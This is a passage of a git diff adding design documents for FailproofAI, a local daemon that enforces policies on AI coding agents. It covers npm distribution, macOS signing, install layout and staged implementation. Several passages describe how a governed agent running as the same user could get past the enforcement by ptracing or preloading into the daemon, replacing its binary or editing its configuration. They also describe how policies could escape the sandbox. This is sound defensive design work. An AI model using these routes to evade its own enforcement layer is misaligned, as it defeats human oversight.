recorded in [deferred scopes](./04-service-and-updates.md#deferred-scopes). What this costs is the verdict-integrity claim: the `sealed` tier is a warm sandbox with an enforceable deadline, not a boundary the governed agent cannot cross, and no product surface may imply otherwise. What it buys is that the product installs anywhere its user can write, with no privilege decision in setup and no privileged surface to get wrong. + +**Where the `user-context` worker comes from.** The daemon spawns it, because the daemon is already the user. What was previously a choice between a per-user service, a privileged spawn helper, and the hook client had only one honest answer once the daemon stopped being a different account. + +**Credentials for policies that need remote state.** There is no separate credential model. A `user-context` policy runs as the developer and reads the developer's own `~/.config/gh`, `~/.netrc`, or environment token. Only the freshness rule survives: the fetch belongs to the collection lane, not to the enforcement deadline. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/07-release-and-packaging.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/07-release-and-packaging.md new file mode 100644 index 00000000..13b64a89 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/07-release-and-packaging.md @@ -0,0 +1,213 @@ +# npm release and distribution + +## Scope + +Phase 1 has one supported installation and distribution path: + +```sh +npx failproofai@latest setup +``` + +The goal is to make the existing npm experience work end to end for Linux and macOS. Homebrew, shell installers, direct-download installation, containers, mirrored registries, and air-gapped bundles are explicitly deferred. Installation therefore requires network access to npm and the native release channel; the offline guarantee elsewhere in this design covers operation after installation, not installation itself. The release pipeline may use internal native archives, but they are implementation artifacts consumed by the npm bootstrapper rather than separate customer installation products. + +## Customer experience + +The user needs Node/npm only for bootstrap. Running the command: + +1. resolves the current `failproofai` package from npm; +2. starts the existing branded CLI; +3. detects Linux/macOS and architecture before modifying the machine; +4. downloads the matching signed native v1 release; +5. verifies the signed release manifest and artifact digest; +6. installs the native `failproofai` CLI and `failproofaid` daemon into a versioned directory under `~/.failproofai/`; +7. continues directly into the setup wizard; +8. verifies service readiness and reports completion. + +There is no separate installer command and no system package repository to discover, and there is no elevation step at any point. The whole sequence writes inside the user's own tree, so it works identically for a user with root and a user who has never had it. A missing service manager degrades the daemon to `unsupervised` rather than refusing the install. + +The bootstrapper rejects unsupported operating systems or architectures before downloading a native artifact or editing configuration. Windows receives a clear next-iteration message. + +## npm package responsibilities + +The public `failproofai` npm package is a small bootstrap and compatibility package, not the long-running daemon. It contains: + +- the current JavaScript CLI needed to launch setup and support migration, unchanged in its ability to enforce without the daemon; +- platform detection and release-manifest verification; +- native download, versioned installation, and handoff logic; +- repair/uninstall discovery for native installations; +- the existing public JS/TS policy API needed by user-authored policies during compatibility migration; +- no daemon implementation and no bundled native artifact for every platform. + +The npm package must have no install lifecycle script. npm 12, bun, pnpm, and modern Yarn may block lifecycle scripts, so downloading or starting the daemon from `postinstall` would silently produce incomplete installations. All state-changing work happens only after the user explicitly runs `setup`. + +`npx` may use a temporary package cache. The native installation therefore must not point its service definition at the transient npx directory. Setup copies the verified native release to its stable versioned location before registering the service. + +## Bootstrap trust + +Initial bootstrap relies on npm's package-integrity and publisher-provenance trust model. The package is published through npm trusted publishing with provenance tied to the release workflow and source commit. Release automation verifies the packed tarball before publication and records its npm integrity digest in the release evidence. + +After bootstrap starts, the npm package does not extend that trust transitively to native code. It verifies the independently signed FailproofAI release manifest and native artifact digest before execution or installation. + +This design does not claim that native signature verification protects against a compromised bootstrap package; these are two trust layers: + +1. npm registry integrity and package provenance authenticate the bootstrapper; +2. the FailproofAI signed manifest authenticates the native release. + +The exact `@latest` command is the supported convenience interface. npm resolves it to an immutable package version and integrity digest for that execution. Setup records the resolved bootstrap version, integrity when exposed by npm, native manifest identity, and source revision for diagnostics. + +## Native release contents + +One FailproofAI version identifies a compatible release set: + +- native `failproofai` CLI and hook client; +- Rust `failproofaid` daemon; +- bundled baseline harness schema catalog and its trust root; +- the pinned policy runtime; +- service-manager metadata; +- schemas, license, notices, SBOM, provenance, and checksums. + +All components are tested and published together. Internal protocol/schema versions remain separate so rolling compatibility is explicit. + +### Pinned policy runtime + +Evaluation must not depend on whichever interpreter `PATH` happens to expose. A runtime resolved at spawn commonly lands in nvm's, fnm's, or volta's directory and changes when the user switches Node versions, which makes two machines with identical configuration produce different decisions for reasons nobody can see. The release therefore ships its own runtime, referenced by an absolute path recorded at install time. + +The `sealed` tier does not need that file at all: its engine is QuickJS-ng linked into the `failproofaid` binary, evaluating a bundle embedded at compile time, so the evaluator is part of the signed artifact rather than something read back from a state directory that a crash could leave half-written. The runtime shipped on disk is what the `user-context` tier runs, where real imports are the point. Everything below therefore describes that one, and it is the subject of [open decision #3](./06-delivery-plan.md#open-decisions). + +What shipping it buys is determinism, reproducibility, and an answer to "which runtime decided this" — not protection. It installs into the user's own tree like everything else, and the user who owns it can replace it. That is a property of the scope this version ships, and [deferred scopes](./04-service-and-updates.md#deferred-scopes) is where the layout that would change it is recorded. + +Because admission compiles a policy and its import graph into one artifact, a runtime that is also a bundler removes a separate toolchain from the release. Shipping a runtime means owning its patch cadence: its version, digest, and upstream advisories are part of the release manifest and the SBOM, and a runtime-only security fix is a normal explicit upgrade through the same npm setup path. + +## Target matrix + +| OS | Architecture | Internal native artifact | +|---|---|---| +| Linux, glibc | x86_64 | `.tar.gz` | +| Linux, glibc | aarch64 | `.tar.gz` | +| macOS | x86_64 | `.tar.gz` | +| macOS | aarch64 | `.tar.gz` | + +These artifacts have deterministic names and layouts. They are fetched only by the npm bootstrapper. + +## Code signing and notarization + +Two of the four rows above are unshippable without this, so it is a release requirement on the critical path rather than a finishing touch. Running as a LaunchAgent rather than a LaunchDaemon does not relax it. `codesign --verify` fails on any MDM-managed fleet whose configuration profile requires a Developer ID identity, Gatekeeper assesses a downloaded binary on first launch regardless of how it is registered, and an unstapled ticket makes that assessment a network call on a machine this design promises can be offline. The MDM failure is the quietest and worst of the three, because it appears on a customer's machine rather than in the release pipeline. (The sharper failure — macOS 15 terminating an unsigned `failproofaid` outright — belongs to the LaunchDaemon a [deferred scope](./04-service-and-updates.md#deferred-scopes) would register, which is where this requirement was first found.) + +Every Mach-O in a macOS artifact is signed with the release Developer ID identity — not only the two executables FailproofAI writes. The `failproofai` CLI, the `failproofaid` daemon, **and the vendored policy runtime**, including any dynamic library it ships, are each signed with `--options runtime` and `--timestamp`, inner binaries before the enclosing archive. The hardened runtime is what notarization requires. The secure timestamp is what keeps an already-shipped signature valid after the signing certificate expires, which matters here more than it does for most products: Phase 1 never replaces a binary automatically, so an installation is expected to keep starting its daemon for years after the release that produced it. + +The hardened runtime is also where the pinned runtime's execution model becomes a packaging decision rather than an implementation detail. A runtime that JITs — anything V8-based — needs `com.apple.security.cs.allow-jit` in its entitlements file, because the hardened runtime otherwise refuses the writable-executable mapping the JIT depends on; the identical constraint on Linux is why the systemd unit cannot set `MemoryDenyWriteExecute=yes`, which every hardening guide recommends and which kills such a runtime at its first compile. A bytecode interpreter needs neither. The `sealed` engine already shipped is one — QuickJS-ng, linked into the daemon binary rather than spawned — so the question is entirely about the runtime pinned for the `user-context` tier, and it is why [open decision #3](./06-delivery-plan.md#open-decisions) gates the entitlements file. Entitlements are an input to signing, signing is an input to notarization, and notarization gates the macOS half of the target matrix. + +Notarization is a separate step from signing, and the release is not shippable until it completes: `notarytool submit --wait` on the signed archive, then `stapler staple` on the artifact. Stapling is not optional here. Without a stapled ticket Gatekeeper resolves the notarization online at first launch, and a machine that installs FailproofAI and then goes offline — the exact operating profile the rest of this design promises — gets an assessment failure instead of a running daemon. Stapling also rewrites the artifact, so its digest must be computed *after* the ticket is attached; a manifest recording the pre-staple digest fails verification on every customer machine while passing every check in the pipeline that produced it. + +The installer then strips the quarantine attribute from the extracted tree with `xattr -dr com.apple.quarantine`, defensively. The bootstrapper fetches over its own HTTP client, which does not set the attribute, so this is not the normal path; it exists because an archive that reaches the machine any other way — a proxy that re-archives, a user who downloads the tarball and hands it to setup — carries it, and the resulting failure is a LaunchAgent that never starts with nothing in the diagnostic pointing at an extended attribute. + +Custody of the signing identity follows the same rule as the release signing key: build jobs never hold it, and signing and notarization run as separate protected jobs over already-built artifacts. It is also a long-lead non-code item — an Apple Developer Program enrollment, a Developer ID certificate, and an App Store Connect API key for `notarytool` — so it is started alongside engineering rather than discovered at the release gate. + +## Installation layout + +```text +~/.failproofai/ + versions/ + 1.0.0/ + bin/failproofai + bin/failproofaid + policy-runtime/ + harness-schemas/ + release.json + current -> versions/1.0.0 + install.json + artifacts/ + state/ + logs/ + run/ +``` + +The same layout on both platforms. Capture state — checkpoints, the spool, the delivery key, and the observability destination — stays in `~/.agenteye/`, where the collector already writes it; see [collector integration](./05-collector-integration.md#state-stays-where-it-already-is). + +`install.json` records what a particular `setup` run did on this machine, including the UID a client checks the socket's owner against before speaking to it. It sits beside `versions/` rather than inside one, because the two have different writers: a version directory is written once per release, while `install.json` is written once per installation, and putting a per-installation record inside a per-release directory means an upgrade either loses it or has to copy it forward. + +`current` is a symlink so activating a new release is one atomic rename. A partially downloaded or unverified release never becomes `current`, and rolling back to the previous version is repointing the symlink at a directory that was never removed. + +Nothing is written under `/opt`, `/var/lib`, `/etc`, or `/Library`, and the release gate asserts that with a filesystem diff rather than trusting the installer's own report. The bootstrap downloads and verifies before it writes anything into `versions/`, so an unverified artifact never gets a directory of its own to be found in later. + +Ownership is intentionally split: + +- npm owns only the bootstrap package used for that invocation; +- explicit npm setup/upgrade operations own the installed native release; +- the service always points at the stable native installation, never npm's global tree or npx cache. + +Updating or removing a global npm package does not silently remove a running native service. `failproofai uninstall` removes the service/native installation explicitly; npm cache/global cleanup remains npm's responsibility. + +## Release manifest + +The signed canonical manifest includes: + +- product version, release ID, source commit, and build timestamp; +- every target artifact's name, size, SHA-256 digest, and media type; +- component and IPC/state/policy-runtime compatibility ranges; +- minimum bootstrapper and schema-catalog format versions; +- SBOM and provenance references; +- release notes and required migration warnings; +- publisher key ID and signature metadata. + +Clients ship the release trust root and support signed rotation. A modified artifact plus modified checksum is rejected because the attacker cannot produce the manifest signature. + +## Release pipeline + +### Build and test + +- A release PR sets the version and dated changelog section. +- Build each Linux/macOS target from one source commit in pinned isolated workers. +- Build the policy worker from the same revision when required. +- Run unit, integration, harness-contract, collector-conformance, setup/upgrade, schema-catalog rollback, and uninstall tests. +- Smoke-test each executable's side-effect-free version/protocol command on its target OS. +- Generate SBOMs and provenance and scan source, dependencies, archives, and package contents. + +### Assemble and sign + +- Stage native artifacts immutably. +- Sign every Mach-O in each macOS artifact with the Developer ID identity, hardened runtime, and secure timestamp, inner binaries before the enclosing archive; then `notarytool submit --wait` and `stapler staple`. +- Assemble and sign the native release manifest with protected release identity, over the digests of the **stapled** macOS artifacts. +- Build `npm pack --ignore-scripts` from the same version/source revision. +- Inspect the tarball allowlist, unpack and execute its CLI in a clean npm environment, and prove it downloads/verifies the staged native release. +- Attach npm trusted-publishing provenance to publication. + +Build jobs do not receive long-lived signing or npm credentials. Signing and publishing are separate protected jobs over already-built digests. + +### Publish beta + +- Publish immutable native prerelease artifacts and signed manifest. +- Publish the npm package under the `beta` dist-tag. +- From clean Linux and macOS machines, run `npx failproofai@beta setup` and verify install, service start, policy evaluation, collector behavior, schema refresh/rollback, explicit binary upgrade, and uninstall. +- Run the same sequence end to end inside a clean container that mimics a real user install — native download and signature verification, `setup`, service readiness, an enforced synthetic hook, and `uninstall` — so the gate exercises a machine with no developer toolchain, no prior FailproofAI state, and no repository checkout. The container runs as an ordinary unprivileged user with no `sudo` installed, which is the strongest available proof that nothing in the install path needs it. +- Run one leg with a systemd user session so the unit file, `RuntimeDirectory=`, and restart behavior are exercised, and one leg with no service manager at all, asserting that setup still completes, the daemon runs, health reports `unsupervised`, and killing the daemon degrades to in-process evaluation rather than losing the deny. + +### Promote stable + +Stable promotion does not rebuild native binaries. It verifies the tested beta manifest digest, promotes the exact native release, and moves npm's `latest` dist-tag to the already-published package version. + +If npm requires a distinct stable version rather than moving a prerelease package, its package must embed/reference the exact promoted native manifest digest and contain no rebuilt product binary. + +### Observe and revoke + +Release health tracks bootstrap download/verification, setup completion, daemon readiness, schema rollback, crash, and protocol mismatch without collecting policy or transcript content. + +A bad release is removed from `latest` and the native download channel. Immutable evidence remains. Existing installations are not changed automatically; affected users receive an explicit upgrade advisory. + +## npm acceptance criteria + +- `npx failproofai@latest setup` works on clean supported Linux and macOS machines as an unprivileged user, on an image with no `sudo` installed. +- The install writes only under `~/.failproofai/`, `~/.agenteye/`, the user's service-manager directory, and the harness settings files it was asked to change, asserted by a before/after filesystem diff that includes the absence of anything under `/opt`, `/var/lib`, `/etc`, and `/Library`. +- Activating a release is an atomic `current` symlink move, and an interrupted install leaves the previous `current` intact. +- The pinned runtime's version and digest appear in the release manifest and SBOM, and the daemon never executes an interpreter outside the installed release. +- Every Mach-O in a macOS artifact, the vendored policy runtime included, is Developer ID signed with the hardened runtime and a secure timestamp; `codesign --verify --deep --strict` and a Gatekeeper assessment both pass on a clean machine. +- Each macOS artifact is notarized and stapled, its manifest digest is computed after stapling, and its LaunchAgent starts on a machine that has had no network access since installation. +- The entitlements file matches what the pinned runtime actually requires, and the Linux unit's `MemoryDenyWriteExecute` setting agrees with it. +- The release gate includes a clean-container run covering download, verification, `setup`, service readiness, an enforced synthetic hook, and `uninstall`. +- No npm lifecycle script is required or declared. +- The npx cache can disappear immediately after setup without affecting the service. +- The bootstrapper never executes an unverified native artifact. +- The npm package provenance and packed-file allowlist map to the release source commit. +- beta-to-stable promotion does not rebuild native binaries. +- setup, explicit upgrade from the previous version, schema rollback, repair, and uninstall pass on every target. +- Windows and unsupported architectures fail before machine mutation. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/README.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/README.md new file mode 100644 index 00000000..9d56a26c --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/README.md @@ -0,0 +1,47 @@ +# Phase 1 — local enforcement plane + +Status: Draft + +Target: failproofai v1.0.0 + +`failproofaid` is the Rust background service for FailproofAI. Phase 1 is **the product as it ships today, re-architected**: it preserves the complete standalone OSS policy experience, moves evaluation into a warm resident sandbox with a deadline that is actually enforced, absorbs the standalone `agenteye-collector` without losing any of its behavior, and keeps harness hooks compatible through a signed schema catalog. + +**Phase 1 ships and is useful on its own.** No FailproofAI account or organization is required, no administrator access is required, and no policy decision depends on a network service. Credentials the current product already has are carried over rather than reinvented — `failproofai auth login` is unchanged, and capture delivers to the customer's **own self-hosted** observability server with the operator-issued `events:add` key it uses today. + +Phase 2 is the genuinely new management plane: machine enrollment into Failproof Cloud, centrally assigned policy, targeting, fleet health, and staged rollout. See [Phase 2](../phase-2-cloud/README.md). + +## Documents + +1. [User experience](./01-user-experience.md) — how a user installs, configures, operates, and removes FailproofAI. +2. [Agent harness integration](./02-harness-integration.md) — how agent CLIs and runtimes send events and enforce daemon decisions. +3. [Daemon architecture](./03-daemon-architecture.md) — Rust process model, IPC, policy runtime, execution tiers, failure isolation, and local state. +4. [Service and harness schema updates](./04-service-and-updates.md) — the user service, deferred scopes, and signed version-aware hook schema reconciliation without automatic binary replacement. +5. [Collector integration](./05-collector-integration.md) — session capture, durable spooling, delivery, and adoption of the existing collector's state. +6. [Delivery plan](./06-delivery-plan.md) — stages, acceptance criteria, and unresolved decisions. +7. [npm release and distribution](./07-release-and-packaging.md) — the single npm bootstrap path, native artifact pipeline, signing, and channel promotion. + +The [implementation plan](./implementation/) says how this gets built: the Rust/TypeScript boundary, six sequenced stages with entry and exit gates, the verification strategy including a full-stack Docker acceptance gate, and the record of amendments since folded into these documents. + +## Settled decisions + +- `failproofaid` is implemented in Rust. +- **One scope ships: `user`.** The daemon, the CLI, configuration, policies, state, and the socket all belong to the invoking user. There is no service account, no root-owned surface, no privileged installer, and no `sudo` anywhere in the product. Setup is an ordinary user-scope install, and every guarantee below is stated for that one scope rather than qualified per scope. +- **Exactly two programs ship**: the `failproofaid` daemon and the `failproofai` CLI. The CLI is also the hook client the harness invokes per event and the process that serves the local dashboard; there is no per-user agent, no collector process, and no dashboard service. [Two programs, and what runs when](./01-user-experience.md#two-programs-and-what-runs-when) is the exact accounting. +- Configuration is read from `.failproofai` in user scope, exactly as it is today, and capture state stays in `~/.agenteye/` where the collector already writes it. Nothing moves to `/opt`, `/var/lib`, `/etc`, or `/Library`, and nothing is migrated out from under the user. +- **The `sealed` tier makes no verdict-integrity claim in this release, and nothing in the product may imply one.** The governed agent runs as the same user as the daemon: it can `ptrace` the daemon, preload into it, replace the binary, or edit the configuration. What the tier does buy is stated positively in [where policies execute](./01-user-experience.md#where-policies-execute) — a warm evaluator instead of a process per hook event, no temp files written beside the user's source, a deadline made real by an out-of-band watchdog, and a deny-by-default sandbox that contains a buggy or over-reaching policy. +- A `managed` scope running as a dedicated service account and a root-owned `system` scope are designed and deliberately unshipped, recorded in [deferred scopes](./04-service-and-updates.md#deferred-scopes). The verdict-integrity claim belongs to those, and adding one is what would buy it. Neither is reachable as an automatic fallback. +- Execution tier is derived at admission from the resolved import graph, never from the author's own declaration, and the `sealed` context is deny-by-default so an under-declared policy fails inside it rather than escaping it. The derivation decides whether a policy *can* run in the resident sandbox at all, which is why it is structural rather than advisory. +- The socket is peer-credentialed. The daemon serves exactly one UID — its owner — and refuses every other peer, because a shared machine can have several users each running their own daemon. `home` is derived from `getpwuid_r(peer_uid)` rather than accepted from the client. +- The release ships a pinned policy runtime, so the daemon evaluates against a known version rather than whichever Node a version manager happens to expose, and constructs worker environments rather than inheriting them. +- Admission compiles a policy and its full import graph into one content-addressed artifact, so evaluation resolves nothing from a mutable path and every decision names an exact digest. It needs no elevation, because nothing in this product does. +- Enforcement performs no unbounded I/O. Policies needing remote state read a cache the collection lane refreshes on its own schedule. +- The local dashboard is the CLI running in dashboard mode: loopback-only, token-gated, TTL-bounded, reading through the daemon's `Query` operations. +- Linux and macOS are supported; Windows service, packaging, and daemon support are deferred. +- All current builtin, custom, explicit-file, convention-file, scope, harness, activity, and local-dashboard behavior remains available. +- Agent hook decisions are synchronous and evaluated locally. +- Collection, delivery, and harness schema-catalog refresh are asynchronous. +- Enforcement is fully offline once installed; installation itself requires network access, since npm bootstrap is the only supported path and air-gapped distribution is deferred. +- **An unreachable daemon costs latency and the sandbox, not enforcement.** The in-process evaluator that ships today answers whenever the daemon does not, and in user scope it carries exactly the same authority the daemon does, so falling back to it loses no property this release claims. +- The standalone `agenteye-collector` moves into the daemon here, because everything it ships is current behavior the compatibility promise covers. Capture is off until enabled, and its destination is the customer's own server, so delivery pulls no FailproofAI account into Phase 1. +- The observability delivery key is the only secret Phase 1 handles. It lives in the user's own configuration alongside the rest of the collector's settings, readable by that user and therefore by that user's agent, never in a service definition or process argument, and erased unconditionally on uninstall. It grants `events:add` on the customer's own server and nothing else; per-machine issuance and rotation are the operator-side answer. +- Contract shape keeps Phase 2 and a possible later off-machine evaluation open — canonical location-independent request/result, end-to-end deadlines, stable decision identity, bounded lanes, a versioned health snapshot — without adding a configuration key, client, or user-visible setting for either. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/01-stages.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/01-stages.md new file mode 100644 index 00000000..0ca08c53 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/01-stages.md @@ -0,0 +1,138 @@ +# Stages + +Six stages. Two invariants make every one of them independently revertable: + +1. **The daemon path is dead code unless an environment variable is set.** No configuration default and no wizard default until Stage 5. A revert is one `git revert`; a *field* rollback is one environment variable. +2. **The legacy evaluator is not a copy — it is the untouched remainder of `handleHookEvent`.** There is no second artifact to keep in sync, which is what makes the "packaged compatibility evaluator" in [02-harness-integration.md](../02-harness-integration.md) cost nothing: it is the npm package as it ships today. + +A third invariant governs the harness settings files: **exactly one implementation writes them at any time.** The TypeScript `integrations.ts` writes through Stage 3; the Rust reconciler becomes a writer only at Stage 4, and only after both sides honor a shared per-adapter lockfile. + +--- + +## Stage 0 — contracts, refactors, CI hygiene + +Pure TypeScript. No Rust, no behavior change, ships to `main` immediately. Every item is independently revertable and gated by the existing suite. + +### Prerequisite refactors + +Each is its own PR, behavior-preserving, gated by the tests that already exist. + +**P1 — split the builtins by capability.** `src/hooks/builtin-policies.ts` becomes `src/hooks/builtin/payload-only.ts` (32 policies) and `src/hooks/builtin/host-access.ts` (7 — `warn-repeated-tool-calls`, `block-work-on-main`, and the five `require-*-before-stop`), with `builtin-policies.ts` re-exporting `BUILTIN_POLICIES` in the same order. + +This is not cosmetic and it is not optional. Tier derivation reads the *resolved import graph*, and today all 39 policies live in one module that imports `child_process` — so the derivation would route every builtin to `user-context` and the sealed tier would be empty. The architecture would look implemented while every hook event still paid a worker spawn and every default-enabled policy still ran outside the interruptible engine, which is to say it would deliver none of what the tier is for. + +Gate: a snapshot test on `BUILTIN_POLICIES.map(p => [p.name, p.category, p.defaultEnabled, p.beta])`, identical before and after. + +**P2 — thread host context through `PolicyContext`.** Add `home` and `projectDir` to `SessionMetadata` and `PolicyContext`. Change `isAgentInternalPath`, `expandHomePrefix`, `extractAbsolutePaths`, and `blockReadOutsideCwd` to read them, falling back to `homedir()` and `process.env.CLAUDE_PROJECT_DIR` when absent. The fallback keeps all 632 lines of `block-read-outside-cwd.test.ts` green; the daemon path never reaches it. + +**P3 — split `evaluatePolicies`.** Into `evaluateVerdicts()` (the loop and accumulation) and `encodeResponse(verdicts, eventType, session)` (everything else), with `evaluatePolicies = encodeResponse(evaluateVerdicts(...))`. The public signature is unchanged, so all 1,222 lines of `policy-evaluator.test.ts` keep passing. Required because the daemon must combine sealed and `user-context` results *before* encoding. + +**P4 — move session-metadata resolution to the caller.** `resolveTranscriptPath`, `resolvePermissionMode`, and `resolveCwd` become envelope fields rather than daemon-side work. This closes a trap the design docs never named: `resolveCodexMode` line-scans an entire Codex transcript under `~/.codex/sessions` looking for `turn_context` — an unbounded read on the enforcement deadline path, which the daemon must not perform no matter whose files they are. + +### Corpora and code generation + +**`scripts/gen-parity-corpus.mjs`** → `__tests__/parity/fixtures///.json`. Every `INTEGRATION_TYPES` × `HOOK_EVENT_TYPES` × `{deny, instruct, allow-with-reason, allow-silent}` × `{tool present, absent}` × `{one policy, two policies}`, driven by synthetic policies so it is deterministic and independent of builtin logic. The technique already exists in `__tests__/hooks/inert-deny-shapes.test.ts` — register a policy that returns a fixed decision, call `evaluatePolicies`, inspect the bytes. + +Derive every count from the constants, never hardcode. Adding a thirteenth CLI or a new event must fail loudly rather than silently under-test. + +**`__tests__/parity/coverage.json`** marks each cell `reachable`, `not-registered`, or `observe-only`. A cell flipping from `reachable` to `not-registered` fails the build. This turns "we didn't test that combination" from an unknown into an asserted fact — the same tripwire philosophy as `dogfood-configs.test.ts`. + +**`scripts/gen-canon-tables.ts`** → `crates/generated/canonicalization-tables.json` and `enforcement-capability.json`. Emit **JSON, not `.rs`**: `src/hooks/types.ts` stays the single source of truth, its "verified live against ` vX.Y.Z`" annotations stay where reviewers already look, and there is no generated Rust to review. A CI drift gate re-runs the generator and fails on any diff. + +**`scripts/bench-hook.ts`** → a checked-in baseline of today's cold-start p50/p95/p99 per `(cli, event)`, split into `spawn / config+load / evaluate / encode`. The split matters: see the latency risk in [03-risks-and-amendments.md](./03-risks-and-amendments.md). + +### CI and packaging fixes + +All four of these are live bugs found while surveying, not new work invented by this plan. + +- **Remove `"prepare": "bun run build"` from `package.json`, and add an explicit `bun run build` step to `.github/workflows/publish.yml` in the same PR.** The publish workflow has no build step and relies entirely on `prepare` to populate the gitignored `dist/` and `.next/standalone/`, both of which are in the `files` allowlist. Removing `prepare` alone publishes an empty package. Then switch to `npm publish --provenance --ignore-scripts`, so a re-added lifecycle script can never silently re-enter the publish path. This is the highest-risk edit in Stage 0. +- **`scripts/prune-standalone.mjs` prunes `"design-docs"`; the directory on disk is `desgin-docs`.** The whole design-doc tree may be shipping to npm today. Add both spellings, plus `crates` and `target`. +- **Every cache key in `ci.yml` and `publish.yml` is `hashFiles('bun.lockb')`.** The repo tracks `bun.lock`, so `hashFiles` returns the empty string and the key has been constant since the initial import — the bun cache has never invalidated on a lockfile change. Fix it before adding Rust caching, or the new job will look like it introduced a flake that was already there. +- **Replace the inline version-consistency shell with `scripts/check-versions.mjs`** plus `__tests__/scripts/check-versions.test.ts`, preserving current semantics and adding: `Cargo.toml`'s workspace version equals root `package.json`; every crate uses `version.workspace = true`; and no lifecycle scripts are declared at all. + +Also: `scripts/check-pack-allowlist.mjs` comparing `npm pack --dry-run --json` against a committed `.github/expected-pack-files.txt`, so a new top-level directory can neither silently ship nor silently fail to ship. An empty Cargo workspace and a `rust-quality` CI job, so the plumbing exists before there is anything to break. And a correction to `CLAUDE.md`, which claims four CI jobs (there are five) and four `test` env-configs (there are three). + +### The spike + +Roughly 200 throwaway lines: load the 32 payload-only builtins into a QuickJS-ng context with no bindings registered, run 10,000 corpus rows, measure warm p99, and prove that `require("node:fs")` from inside a policy **throws** rather than succeeding. Decide from the measurement, not from the document. + +If regex interruption turns out unreliable, the mitigation is admission-time linear-time regex analysis plus the killable worker — not a switch to V8. + +**Exit:** corpus frozen and green; canon tables generated and drift-gated; the `BUILTIN_POLICIES` snapshot identical to pre-P1; all five CI jobs green; a publish dry-run byte-identical to today's tarball minus the docs typo. + +--- + +## Stage 1 — walking skeleton + +Claude Code only, off unless an environment variable is set. + +**The insertion point matters more than anything else in this stage.** Do not ship a native hook client yet, and do not touch any of the twelve hook registrations. Add the daemon branch *inside* `src/hooks/handler.ts`, immediately after `parsed` is assigned and before the per-CLI payload normalizations: + +- New `src/hooks/daemon-client.ts`, roughly 120 lines. `tryDaemonEvaluate(...)` returns an `EvaluationResult` or `null`. It connects to `$FAILPROOFAI_DAEMON_SOCKET`, verifies the socket's owner equals the `service_uid` recorded in `~/.failproofai/install.json`, sends one framed request carrying a monotonic deadline, and returns `null` on *any* failure. The owner check catches a stale or misdirected socket — a `FAILPROOFAI_DAEMON_SOCKET` left pointing at another user's endpoint answers with another user's policy set, and that is a wrong answer whether or not anyone meant it. +- Roughly 15 guarded lines in `handler.ts`. Everything from `readMergedHooksConfig` through `evaluatePolicies` **is** the legacy fallback — untouched. + +Choosing `handler.ts` over `bin/failproofai.mjs` keeps stdin reading, the 1 MB cap, the parse-error telemetry, and the `finally { await flushHookTelemetry() }` shared, so the diff is minimal and the fallback is simply "keep executing the same function." + +Crates: `fpai-ipc` (framing, envelope, peer credentials), `fpai-canon` (generated tables plus the failure-mode subset), `failproofaid` (listener, one enforcement lane, one warm sealed worker, `Ping` and `EvaluateHook`). Plus `src/policy-runtime/sealed-entry.ts` — the worker entry point that calls `registerBuiltinPolicies` and the `evaluateVerdicts`/`encodeResponse` pair from P3. It lives under `src/` so `tsc --noEmit` and eslint already cover it. + +### The envelope closes the trap classes + +`home` is **daemon-derived via `getpwuid_r(peer_uid)`**, and any client-supplied home is a protocol error. This is not pedantry: `isAgentInternalPath` and `block-read-outside-cwd` both *widen* the allow set, so a wrong home does not fail — it quietly permits more. The daemon can compute the field correctly from the connection itself, so accepting it from the client adds a way to be wrong and no way to be right, and rejecting rather than overwriting is what makes a client that sends one get fixed. + +`cwd`, `project_dir`, and `env_facts` genuinely cannot be derived — `/proc//cwd` is TOCTOU-prone and unavailable on macOS to a non-matching UID — so they ride as `ClientAsserted` with explicit provenance. Any decision whose deciding policy read one is recorded `sealed_unattested` and reported by `policies explain`. In this release that is provenance rather than an integrity claim: it is what tells an author their payload-only policy is quietly depending on an asserted `cwd`, and it is the field that becomes an integrity claim unchanged if a [deferred scope](../04-service-and-updates.md#deferred-scopes) is ever added. + +**Exit:** one Claude `PreToolUse` deny byte-identical to legacy; Rust passes the Claude slice of the corpus; the **worker soak test** passes — the whole corpus twice through one warm worker, then once in randomized order, with identical output both times. That last one is the important gate: every hook today is a fresh process, so the `globalThis` policy registry, the index cache, the cwd-keyed git-branch cache, and every hoisted `/g` regex start clean. A resident worker changes that, and the failure mode is a *wrong verdict*, not a crash. Finally, `FAILPROOFAI_DAEMON_MODE=off` and an unset socket must both produce output identical to `main` across the entire e2e suite. + +--- + +## Stage 2 — full matrix parity across twelve CLIs + +The sealed worker handles every event for all twelve CLIs; Rust canonicalization passes the whole corpus; the Rust failure-mode encoder subset is implemented and corpus-tested. + +**Shadow mode** lands here: `src/hooks/shadow-diff.ts`, reusing the page-and-lock pattern from `hook-activity-store.ts`. `FAILPROOFAI_DAEMON_MODE=shadow` runs legacy, then the daemon, **returns legacy**, and records the diff. `=enforce` returns the daemon's answer and records legacy as the shadow. `=off` is honored at the top of `tryDaemonEvaluate`, so an incident is resolved with an environment variable rather than a release. + +One hazard to design around: running both paths would execute `warn-repeated-tool-calls` twice, doubling its sidecar counter, and fire the five `require-*-before-stop` policies' `git` and `gh` subprocesses twice. So the shadow request carries `shadow: true`, the daemon evaluates **sealed-only**, and the differ compares only when every legacy-matched policy was sealed-eligible. Under default configuration that is 100% of `PreToolUse` and `PostToolUse` — near-total coverage at zero side-effect risk. + +Where to run it, for free: `integration-suite/` already installs twelve *real* vendor CLIs in Docker daily and asserts DENY. Enable shadow mode in its entrypoint and add "zero mismatches" as a reported state. This repo's own dogfood configs are a second source — every agent working in this repo generates traffic. + +**Exit:** 100% corpus pass, byte-exact; at least seven consecutive green integration-suite runs with zero shadow mismatches. + +--- + +## Stage 3 — the user service install + +Behind `--experimental-daemon`. Still the TypeScript hook client, so **zero hook registrations change**. This deliberately decouples "the daemon installs, starts, and survives a reboot" from "a new binary is invoked correctly by twelve harnesses" — two failure domains that are miserable to debug together. + +`crates/fpai-service` owns: the `~/.failproofai/` layout with its `versions/` directories and `current` symlink; the socket directory, `$XDG_RUNTIME_DIR/failproofai/` when that variable is set and `~/.failproofai/run/` when it is not; the systemd user unit and the LaunchAgent; and a **journal-backed transactional setup** in which each step records its inverse before 